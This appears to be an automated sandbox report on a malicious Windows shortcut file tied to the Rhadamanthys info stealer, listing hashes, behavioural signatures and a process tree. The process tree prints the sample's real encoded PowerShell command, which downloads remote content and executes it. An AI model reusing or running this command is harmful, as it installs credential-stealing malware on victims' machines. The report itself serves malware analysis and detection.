Analysis
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max time kernel
128s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05-04-2024 07:44
Static task
static1
Behavioral task
behavioral1
Sample
6391-BST-SH.lnk
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
6391-BST-SH.lnk
Resource
win11-20240221-en
General
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Target
6391-BST-SH.lnk
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Size
11KB
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MD5
adf7c3664cea2c5ea0b0bed6092f782d
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SHA1
19d4c09d6a55b327fe7853da16ef259ccbb39635
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SHA256
ab77586e8f74d90236f06107b0cd965c7a2d78cc978c56ccf047e17bcefb8d46
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SHA512
f94c74b4b0dc049059c651e8b68a2b5b73f080c41bd9b2d7aa017010ecc9c6dcd8cb02508643ca54e6a0c07fa9294ad99d5bf5b242be4f5cbb01af13ce3e330f
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SSDEEP
192:8z54h/WKdqhSsL4QuOdU4vAOtV01NUzfmQLZbicaNO6aBhOiHm6vepsM77+F/dK:u5c/5LQTKMt6UzfmQdbi/w6MhO1GelOq
Malware Config
Signatures
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Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3236 created 2528 3236 powershell.exe sihost.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 3236 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exedialer.exepid process 3236 powershell.exe 3236 powershell.exe 3236 powershell.exe 3236 powershell.exe 2488 dialer.exe 2488 dialer.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3236 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 3848 wrote to memory of 3236 3848 cmd.exe powershell.exe PID 3848 wrote to memory of 3236 3848 cmd.exe powershell.exe PID 3236 wrote to memory of 2488 3236 powershell.exe dialer.exe PID 3236 wrote to memory of 2488 3236 powershell.exe dialer.exe PID 3236 wrote to memory of 2488 3236 powershell.exe dialer.exe PID 3236 wrote to memory of 2488 3236 powershell.exe dialer.exe
Processes
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2528
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C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2488
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\6391-BST-SH.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwB2AGkAegBpAGoAYQAzADYAMAAuAGwAdAAvAGQAbwBjAC4AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACAAfAAgAGkATgB2AE8AawBFAC0ARQB4AFAAcgBlAFMAcwBpAE8AbgA=2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82